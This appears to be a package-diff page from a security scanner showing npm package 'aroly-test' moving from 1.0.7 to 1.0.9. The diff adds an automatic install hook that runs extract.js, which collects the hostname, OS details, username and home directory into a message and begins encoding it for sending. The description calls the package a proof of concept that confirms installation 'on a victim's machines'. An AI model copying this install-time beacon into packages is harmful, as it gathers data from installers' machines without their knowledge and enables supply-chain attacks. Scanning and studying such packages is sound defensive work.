aroly-test 1.0.7 → 1.0.9
Sign up to get free protection for your applications and to get access to all the features.
- package/extract.js +5 -1
- package/package.json +3 -3
package/extract.js
CHANGED
@@ -5,8 +5,12 @@ var type = os.type();
|
|
5
5
|
var version = os.version();
|
6
6
|
var release = os.release();
|
7
7
|
var info = os.userInfo();
|
8
|
+
var package_name_l = process.argv[2];
|
9
|
+
var package_version_l = process.argv[3];
|
10
|
+
var package_name_w = process.argv[4];
|
11
|
+
var package_version_w = process.argv[5];
|
8
12
|
|
9
|
-
var message = "
|
13
|
+
var message = "Package (linux/windows) '" + package_name_l + "/" + package_name_w + "', version (linux/windows): " + package_version_l + "/" + package_version_w + " has been installed on hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
|
10
14
|
|
11
15
|
const data = new TextEncoder().encode(
|
12
16
|
JSON.stringify({
|
package/package.json
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "aroly-test",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.9",
|
4
4
|
"description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
|
5
5
|
"main": "index.js",
|
6
6
|
"author": "Antoine Roly <antoine.roly@gmail.com>",
|
7
7
|
"license": "ISC",
|
8
8
|
"dependencies": {
|
9
|
-
"aroly-test": "^1.0.
|
9
|
+
"aroly-test": "^1.0.8"
|
10
10
|
},
|
11
11
|
"scripts": {
|
12
|
-
"install": "node extract.js"
|
12
|
+
"install": "node extract.js $npm_package_name $npm_package_version %npm_package_name% %npm_package_version%"
|
13
13
|
}
|
14
14
|
}
|